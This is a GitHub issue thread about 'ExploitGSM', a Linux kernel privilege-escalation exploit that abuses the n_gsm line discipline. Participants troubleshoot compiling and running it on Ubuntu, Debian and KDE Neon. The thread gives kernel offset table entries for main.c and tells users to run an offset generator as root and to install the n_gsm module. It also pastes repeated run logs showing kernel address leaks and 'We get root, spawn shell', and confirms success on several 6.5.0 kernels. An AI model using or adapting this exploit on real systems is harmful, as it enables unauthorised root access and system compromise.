Compile issue in ubuntu

[kronostitanplay]

Compile issue in ubuntu

[xpliz]

Can't compile in ubuntu 6.5.0-17 nor 6.5.0-23. Same goes for Debian 12.

Removing last commit from ./ExploitGSM_6_5/main.c "works", and exploit compiles but will not run/do anything.

./ExploitGSM ubuntu
Error find kernel 

[kronostitanplay]

@kronostitanplay Could you update your system to see if it works on 6.5.0-27?

Yes! it's working

[faveoled]

what's your kernel version?

[kronostitanplay]

6.5.0-26-generic #26~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Mar 12 10:22:43 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

[YuriiCrimson]

Can't compile in ubuntu 6.5.0-17 nor 6.5.0-23. Same goes for Debian 12.

Removing last commit from ./ExploitGSM_6_5/main.c "works", and exploit compiles but will not run/do anything.

./ExploitGSM ubuntu
Error find kernel 

You should use Offset generator for adding kernel offsets

[faveoled]

These lines should be changed with offset generator output (run it as root, change distro_name as needed):

ExploitGSM/ExploitGSM_6_5/main.c

Lines 368 to 371 in 0cc21d2

	struct kernel_table kernels_offsets[] = {
	{"ubuntu", "6.5.0-25-generic", false, false, false, true, false, 0x26933c0, 0x3910d00, 0xa22630, 0x1274c0, 0x133eb0, 0x1120a20},
	{"fedora", "6.5.6-300.fc39.x86_64", false, false, false, true, false, 0x2ad7eb0, 0x3cfcc60, 0x9b4a30, 0x13c3d0, 0x148780, 0xfbbe20}
	};

Worked on my KDE Neon, main.c commit reverted:

neon@neon:~/Downloads/ExploitGSM/ExploitGSM_6_5$ ./ExploitGSM ubuntu
permissible spray -> 500 
begin try leak startup_xen! 
startup_xen leaked address  -> ffffffff8ea933a0 
text leaked address         -> ffffffff8c400000 
lockdep_map_size     -> 32 
spinlock_t_size      -> 4 
mutex_size           -> 32 
tty port             -> 376 
tty buffhead         -> 136 
dead                 -> 524 
waiting setconf dlci thread 
Wait 3 sec for ending kernel work execution 
We get root, spawn shell 
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

root@neon:/root# ^C        
neon@neon:~/Downloads/ExploitGSM/ExploitGSM_6_5$ uname -a
Linux neon 6.5.0-21-generic #21~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb  9 13:32:52 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

[kronostitanplay]

After update kernel offset.

permissible spray -> 500 
begin try leak startup_xen! 
startup_xen leaked address  -> ffffffffaaa933a0 
text leaked address         -> ffffffffa8400000 
lockdep_map_size     -> 32 
spinlock_t_size      -> 4 
mutex_size           -> 32 
tty port             -> 376 
tty buffhead         -> 136 
dead                 -> 524 
Error set line discipline N_GSM, Invalid argument 

[YuriiCrimson]

After update kernel offset.

permissible spray -> 500 
begin try leak startup_xen! 
startup_xen leaked address  -> ffffffffaaa933a0 
text leaked address         -> ffffffffa8400000 
lockdep_map_size     -> 32 
spinlock_t_size      -> 4 
mutex_size           -> 32 
tty port             -> 376 
tty buffhead         -> 136 
dead                 -> 524 
Error set line discipline N_GSM, Invalid argument 

Because you not have n_gsm kernel module. Install extra kernel modules

[kronostitanplay]

After update kernel offset.

permissible spray -> 500 
begin try leak startup_xen! 
startup_xen leaked address  -> ffffffffaaa933a0 
text leaked address         -> ffffffffa8400000 
lockdep_map_size     -> 32 
spinlock_t_size      -> 4 
mutex_size           -> 32 
tty port             -> 376 
tty buffhead         -> 136 
dead                 -> 524 
Error set line discipline N_GSM, Invalid argument 

Because you not have n_gsm kernel module. Install extra kernel modules

Thanks it's works

permissible spray -> 500 
begin try leak startup_xen! 
startup_xen leaked address  -> ffffffff9e0933a0 
text leaked address         -> ffffffff9ba00000 
lockdep_map_size     -> 32 
spinlock_t_size      -> 4 
mutex_size           -> 32 
tty port             -> 376 
tty buffhead         -> 136 
dead                 -> 524 
waiting setconf dlci thread 
Wait 3 sec for ending kernel work execution 
We get root, spawn shell 
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

[YuriiCrimson]

Try my another exploit for Debian 12

[faveoled]

@kronostitanplay Could you update your system to see if it works on 6.5.0-27?

[psreverttoself]

@kronostitanplay Could you update your system to see if it works on 6.5.0-27?

Hi, I have confirmed this works on Ubuntu 22 LTS with kernel 6.5.0-27.